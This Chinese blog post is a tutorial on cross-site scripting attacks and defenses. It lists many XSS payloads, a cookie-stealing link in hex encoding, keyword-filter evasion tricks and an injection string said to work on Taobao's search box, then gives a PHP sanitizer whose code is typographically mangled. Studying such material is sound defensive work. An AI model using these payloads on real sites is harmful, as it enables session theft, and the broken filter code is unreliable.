xss攻击与防御

最新推荐文章于 2024-02-17 21:20:52 发布

Z单单

最新推荐文章于 2024-02-17 21:20:52 发布

阅读量2k

点赞数

分类专栏：安全文章标签：攻击

本文链接：https://blog.csdn.net/zhangzhangdan/article/details/53940757

版权

安全专栏收录该内容

9 篇文章 0 订阅

订阅专栏

XSS攻击：跨站脚本攻击（Cross Site Scripting），为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略（same origin policy）。这种类型的漏洞由于被骇客用来编写危害性更大的phishing攻击而变得广为人知。对于跨站脚本攻击，黑客界共识是：跨站脚本攻击是新型的“缓冲区溢出攻击“，而JavaScript是新型的“ShellCode”。

在2007年OWASP所统计的所有安全威胁中，跨站脚本攻击占到了22%，高居所有Web威胁之首。

注：OWASP是世界上最知名的Web安全与数据库安全研究组织

XSS攻击的危害包括

1、盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力

3、盗窃企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

6、网站挂马

7、控制受害者机器向其它网站发起攻击

XSS漏洞的分类
XSS漏洞按照攻击利用手法的不同，有以下三种类型：

类型A，本地利用漏洞，这种漏洞存在于页面中客户端脚本自身。

其攻击过程如下所示：

Alice给Bob发送一个恶意构造了Web的URL。

Bob点击并查看了这个URL。

恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。

具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。

Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。

类型B，反射式漏洞，这种漏洞和类型A有些类似，不同的是Web客户端使用Server端脚本生成页面为用户提供数据时，如果未经验证的用户数据被包含在页面中而未经HTML实体编码，客户端代码便能够注入到动态页面中。

其攻击过程如下：

Alice经常浏览某个网站，此网站为Bob所拥有。Bob的站点运行Alice使用用户名/密码进行登录，并存储敏感信息（比如银行帐户信息）。

Charly发现Bob的站点包含反射性的XSS漏洞。

Charly编写一个利用漏洞的URL，并将其冒充为来自Bob的邮件发送给Alice。

Alice在登录到Bob的站点后，浏览Charly提供的URL。

嵌入到URL中的恶意脚本在Alice的浏览器中执行，就像它直接来自Bob的服务器一样。此脚本盗窃敏感信息（授权、信用卡、帐号信息等）然后在Alice完全不知情的情况下将这些信息发送到Charly的Web站点。

类型C，存储式漏洞，该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞，骇客将攻击脚本上传到Web服务器上，使得所有访问该页面的用户都面临信息泄漏的可能，其中也包括了Web服务器的管理员。

其攻击过程如下：

Bob拥有一个Web站点，该站点允许用户发布信息/浏览已发布的信息。

Charly注意到Bob的站点具有类型C的XXS漏洞。

Charly发布一个热点信息，吸引其它用户纷纷阅读。

Bob或者是任何的其他人如Alice浏览该信息，其会话cookies或者其它信息将被Charly盗走。

类型A直接威胁用户个体，而类型B和类型C所威胁的对象都是企业级Web应用。

XSS攻击原理及攻击方式

XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。

使用过ASP的同学一定见过这样的代码：

    Hello,
    <%
    Response.Write(Request.Querystring(“name”))
    %>

假如我传入的name的值为：

    <script>x=document.cookie;alert(x);</script>

这样就可以直接盗取用户的cookie。所以我就可以发送一条链接地址让别人去点：

    http://www.xxx.com/reg.asp?name=<script>x=document.cookie;alert(x);</script>

当然这样做没有一点隐蔽性，虽然前面的xxx.com瞒过了少数人，但大多数人可以辨认出后面的javascript代码，所以，我只需要将后面的javascript代码转换成URL的16进制，如：

    http://www.xxx.com/reg.asp?name=%3C%73%63%72%69%70%74%3E%78%3D%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%61%6C%65%72%74%28%78%29%3B%3C%2F%73%63%72%69%70%74%3E

上面的URL你还认得吗？除非你把它转换出来。（进制转换可以使用Napkin工具，哎，太坏了。。有人问Napkin的下载地址，贴在这里好了：http://www.0×90.org/releases/napkin/Napkin-1.0-Windows.zip）
根本原因

1. 没有对输入进行约束，没有对输出进行编码
2. 没有严格区分“数据”和“代码”
示例

发现大名鼎鼎的淘宝网也存在这样的漏洞，我们在搜索框中输入：

    “/><div style=”position:absolute;left:0px;top:0px;”><iframe src=”http://www.baidu.com” FRAMEBORDER=0 width=1000 height=900/></div><a href=”
    使用时机

    我尝试在各种不同网站寻找 XSS漏洞， baidu, amazon.cn, youku.com, dangdang.com等等。结果，我发现XSS漏洞非常普遍！其实XSS利用的是网页的回显，即，接收用户的输入，然后再在页面显示用户的输入。总结一下几个可能会出现漏洞的地方：
    搜索引擎
    留言板
    错误页面

通过在上面那些类型的页面输入一些特殊的字符（包括< > / “），如：</?jjkk>，然后在结果页中的源码处搜索是否存在原样的：</?jjkk>，如果存在，恭喜你，发现了一个XSS漏洞。
分类
1. DOM-based cross-site scripting

页面本身包含一些DOM对象的操作，如果未对输入的参数进行处理，可能会导致执行恶意脚本。如下面一些DOM操作：

    document.URL
    document.URLUnencoded
    document.location (and many of its properties)
    document.referrer
    window.location (and many of its properties)

举个例子，假如某个脆弱的页面的代码如下：

    <HTML>
    <TITLE>Welcome!</TITLE>
    Hi
    <SCRIPT>
    var pos=document.URL.indexOf(“name=”)+5;
    document.write(document.URL.substring(pos,document.URL.length));
    </SCRIPT>
    <BR>
    Welcome to our system
    …
    </HTML>

攻击者使用如下的URL访问时，则非常危险：

    http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

试了一下，貌似IE、FireFox等浏览器默认对<script>alert(document.cookie)</script>进行了编码，阻止了脚本的执行。但是对于 DOM操作还是要更加谨慎啊，比如把上面的页面修改一下，安全性就增强了不少：

    <SCRIPT>
    var pos=document.URL.indexOf(“name=”)+5;
    var name=document.URL.substring(pos,document.URL.length);
    if (name.match(/^[a-zA-Z0-9]$/))
    {
    document.write(name);
    }
    else
    {
    window.alert(“Security error”);
    }
    </SCRIPT>

2. Reflected cross-site scripting

也被称为None-Persistent cross-site scripting，即，非持久化的XSS攻击，是我们通常所说的，也是最常用，使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL，当 URL地址被打开时，特有的恶意代码参数被HTML解析、执行。它的特点是非持久化，必须用户点击带有特定参数的链接菜能引起。
3. Persistent cross-site scripting

持久化XSS攻击，指的是恶意脚本代码被存储进被攻击的数据库，当其他用户正常浏览网页时，站点从数据库中读取了非法用户存入非法数据，恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。
实施方式

我们来试一把Reflected cross-site scripting。当我们在某网站输入参数XXX，发现参数XXX原样的出现在了页面源码中：

    <input type=”text” class=”Seach” name=”w” value=”XXX” />

OK，可以开始做文章了，我们将XXX替换为：abc”/><script>alert(‘haha’)</script><a href=”，返回的HTML代码如下：

    <input type=”text” class=”Seach” name=”w” value=”abc”/>
    <script>alert(‘haha’)</script><!–” />

这样，<script>alert(‘haha’)</script>被执行了。这里再举例一些XSS攻击行为：

    <IMG SRC=”javascript:alert(‘XSS’);”>
    <IMG SRC=javascript:alert(‘XSS’)>
    <IMG SRC=”javascript:alert(String.fromCharCode(88,83,83))”>
    <IMG SRC=”jav ascript:alert(‘XSS’);”>
    <SCRIPT/XSS SRC=”http://example.com/xss.js”></SCRIPT>
    <<SCRIPT>alert(“XSS”);//<</SCRIPT>
    <iframe src=http://example.com/scriptlet.html <
    <INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>
    <BODY BACKGROUND=”javascript:alert(‘XSS’)”>
    <BODY ONLOAD=alert(document.cookie)>
    <BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert(“XSS”)>
    <IMG DYNSRC=”javascript:alert(‘XSS’)”>
    <IMG DYNSRC=”javascript:alert(‘XSS’)”>
    <BR SIZE=”&{alert(‘XSS’)}”>
    <IMG SRC=’vbscript:msgbox(“XSS”)’>
    <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
    <DIV STYLE=”width: expression(alert(‘XSS’));”>
    <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
    <STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>
    <STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
    <?=’<SCRIPT>alert(“XSS”)</SCRIPT>’?>
    <A HREF=”javascript:document.location=’http://www.example.com/’”>XSS</A>
    <IMG SRC=javascript:alert(‘XSS’)>
    <EMBED SRC=”http://ha.ckers.org/xss.swf” AllowScriptAccess=”always”></EMBED>
    a=”get”;
    b=”URL(“”";
    c=”javascript:”;
    d=”alert(‘XSS’);”")”;
    eval(a+b+c+d);

更加详细的列表请参见 5

XSS攻击防御

基于特征的防御

XSS漏洞和著名的SQL注入漏洞一样，都是利用了Web页面的编写不完善，所以每一个漏洞所利用和针对的弱点都不尽相同。这就给XSS漏洞防御带来了困难：不可能以单一特征来概括所有XSS攻击。

传统XSS防御多采用特征匹配方式，在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击，采用的模式匹配方法一般会需要对 “javascript”这个关键字进行检索，一旦发现提交信息中包含“javascript”，就认定为XSS攻击。这种检测方法的缺陷显而易见：骇客可以通过插入字符或完全编码的方式躲避检测：

躲避方法1）在javascript中加入多个tab键，得到
< IMG SRC=”jav ascript:alert(‘XSS’);” >；
躲避方法2) 在javascript中加入&#x09编码字符，得到
< IMG SRC=”javascript:alert(‘XSS’);” >；
躲避方法3) 在javascript中加入
字符，得到
< IMG SRC=”javascript:alert(‘XSS’);” >；
躲避方法4）在javascript中的每个字符间加入回车换行符，得到
< IMG SRC=”j\r\na\r\nv\r\n\r\na\r\ns\r\nc\r\nr\r\ni\r\np\r\nt\r\n:alert(‘XSS’);” >
躲避方法5）对”javascript:alert(‘XSS’)”采用完全编码，得到
< IMGSRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29 >
上述方法都可以很容易的躲避基于特征的检测。而除了会有大量的漏报外，基于特征的

还存在大量的误报可能：在上面的例子中，对”http://www.xxx.com/javascript/kkk.asp?id=2345 “这样一个URL，由于包含了关键字“javascript”，也将会触发报警。

基于代码修改的防御

和SQL注入防御一样，XSS攻击也是利用了Web页面的编写疏忽，所以还有一种方法就是从Web应用开发的角度来避免：

步骤1、对所有用户提交内容进行可靠的输入验证，包括对URL、查询关键字、HTTP头、POST数据等，仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交，对其他的一律过滤。

步骤2、实现Session标记（session tokens）、CAPTCHA系统或者HTTP引用头检查，以防功能被第三方网站所执行。

步骤3、确认接收的的内容被妥善的规范化，仅包含最小的、安全的Tag（没有javascript），去掉任何对远程内容的引用（尤其是样式表和javascript），使用HTTP only的cookie。

当然，如上操作将会降低Web业务系统的可用性，用户仅能输入少量的制定字符，人与系统间的交互被降到极致，仅适用于信息发布型站点。并且考虑到很少有Web编码人员受过正规的安全培训，很难做到完全避免页面中的XSS漏洞（注）。

附上防御代码（不是我写的）：
The goal of this function is to be a generic function that can be usedto parse almost any input and render it XSS safe. For more informationon actual XSS attacks, check out http://ha.ckers.org/xss.html . Another excellent site is the XSS Database which details each attack and how it works.

    <? php
    function RemoveXSS ( $val ) {
    // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
    // this prevents some character re-spacing such as <java\0script>
    // note that you have to handle splits with n, r, and t later since they *are* allowed in some inputs
    $val = preg_replace ( ‘/([x00-x08,x0b-x0c,x0e-x19])/’ , ” , $val );
    // straight replacements, the user should never need these since they’re normal characters
    // this prevents like <IMG SRC=@avascript:alert(‘XSS’)>
    $search = ‘abcdefghijklmnopqrstuvwxyz’ ;
    $search .= ‘ABCDEFGHIJKLMNOPQRSTUVWXYZ’ ;
    $search .= ‘1234567890!@#$%^&*()’ ;
    $search .= ‘~`";:?+/={}[]-_|’ \ ‘;
    for ($i = 0; $i < strlen($search); $i++) {
    // ;? matches the ;, which is optional
    // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
    // @ @ search for the hex values
    $val = preg_replace(‘/(& amp ; #[xX]0{0,8}’.dechex(ord($search[$i])).’;?)/i’, $search[$i], $val); // with a ;
    // @ @ 0{0,7} matches ’0′ zero to seven times
    $val = preg_replace ( ‘/(&#0{0,8}’ . ord ( $search [ $i ]). ‘;?)/’ , $search [ $i ], $val ); // with a ;
    }
    // now the only remaining whitespace attacks are t, n, and r
    $ra1 = Array( ‘javascript’ , ‘vbscript’ , ‘expression’ , ‘applet’ , ‘meta’ , ‘xml’ , ‘blink’ , ‘link’ , ’style’ , ’script’ , ‘embed’ , ‘object’ , ‘iframe’ , ‘frame’ , ‘frameset’ , ‘ilayer’ , ‘layer’ , ‘bgsound’ , ‘title’ , ‘base’ );
    $ra2 = Array( ‘onabort’ , ‘onactivate’ , ‘onafterprint’ , ‘onafterupdate’ , ‘onbeforeactivate’ , ‘onbeforecopy’ , ‘onbeforecut’ , ‘onbeforedeactivate’ , ‘onbeforeeditfocus’ , ‘onbeforepaste’ , ‘onbeforeprint’ , ‘onbeforeunload’ , ‘onbeforeupdate’ , ‘onblur’ , ‘onbounce’ , ‘oncellchange’ , ‘onchange’ , ‘onclick’ , ‘oncontextmenu’ , ‘oncontrolselect’ , ‘oncopy’ , ‘oncut’ , ‘ondataavailable’ , ‘ondatasetchanged’ , ‘ondatasetcomplete’ , ‘ondblclick’ , ‘ondeactivate’ , ‘ondrag’ , ‘ondragend’ , ‘ondragenter’ , ‘ondragleave’ , ‘ondragover’ , ‘ondragstart’ , ‘ondrop’ , ‘onerror’ , ‘onerrorupdate’ , ‘onfilterchange’ , ‘onfinish’ , ‘onfocus’ , ‘onfocusin’ , ‘onfocusout’ , ‘onhelp’ , ‘onkeydown’ , ‘onkeypress’ , ‘onkeyup’ , ‘onlayoutcomplete’ , ‘onload’ , ‘onlosecapture’ , ‘onmousedown’ , ‘onmouseenter’ , ‘onmouseleave’ , ‘onmousemove’ , ‘onmouseout’ , ‘onmouseover’ , ‘onmouseup’ , ‘onmousewheel’ , ‘onmove’ , ‘onmoveend’ , ‘onmovestart’ , ‘onpaste’ , ‘onpropertychange’ , ‘onreadystatechange’ , ‘onreset’ , ‘onresize’ , ‘onresizeend’ , ‘onresizestart’ , ‘onrowenter’ , ‘onrowexit’ , ‘onrowsdelete’ , ‘onrowsinserted’ , ‘onscroll’ , ‘onselect’ , ‘onselectionchange’ , ‘onselectstart’ , ‘onstart’ , ‘onstop’ , ‘onsubmit’ , ‘onunload’ );
    $ra = array_merge ( $ra1 , $ra2 );
    $found = true ; // keep replacing as long as the previous round replaced something
    while ( $found == true ) {
    $val_before = $val ;
    for ($i = 0 ; $i < sizeof ( $ra ); $i ++) {
    $pattern = ‘/’ ;
    for ($j = 0 ; $j < strlen ( $ra [ $i ]); $j ++) {
    if ($j > 0 ) {
    $pattern .= ‘(‘ ;
    $pattern .= ‘(&#[xX]0{0,8}([9ab]);)’ ;
    $pattern .= ‘|’ ;
    $pattern .= ‘|(&#0{0,8}([9|10|13]);)’ ;
    $pattern .= ‘)*’ ;
    }
    $pattern .= $ra [ $i ][ $j ];
    }
    $pattern .= ‘/i’ ;
    $replacement = substr ( $ra [ $i ], 0 , 2 ). ‘<x>’ . substr ( $ra [ $i ], 2 ); // add in <> to nerf the tag
    $val = preg_replace ( $pattern , $replacement , $val ); // filter out the hex tags
    if ( $val_before == $val ) {
    // no replacements were made, so exit the loop
    $found = false ;
    }
    }
    }
    return $val ;
    }

Z单单

关注

0
点赞
踩
3

收藏

觉得还不错? 一键收藏
0
评论
xss攻击与防御

XSS攻击：跨站脚本攻击（Cross Site Scripting），为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略（sam
复制链接

扫一扫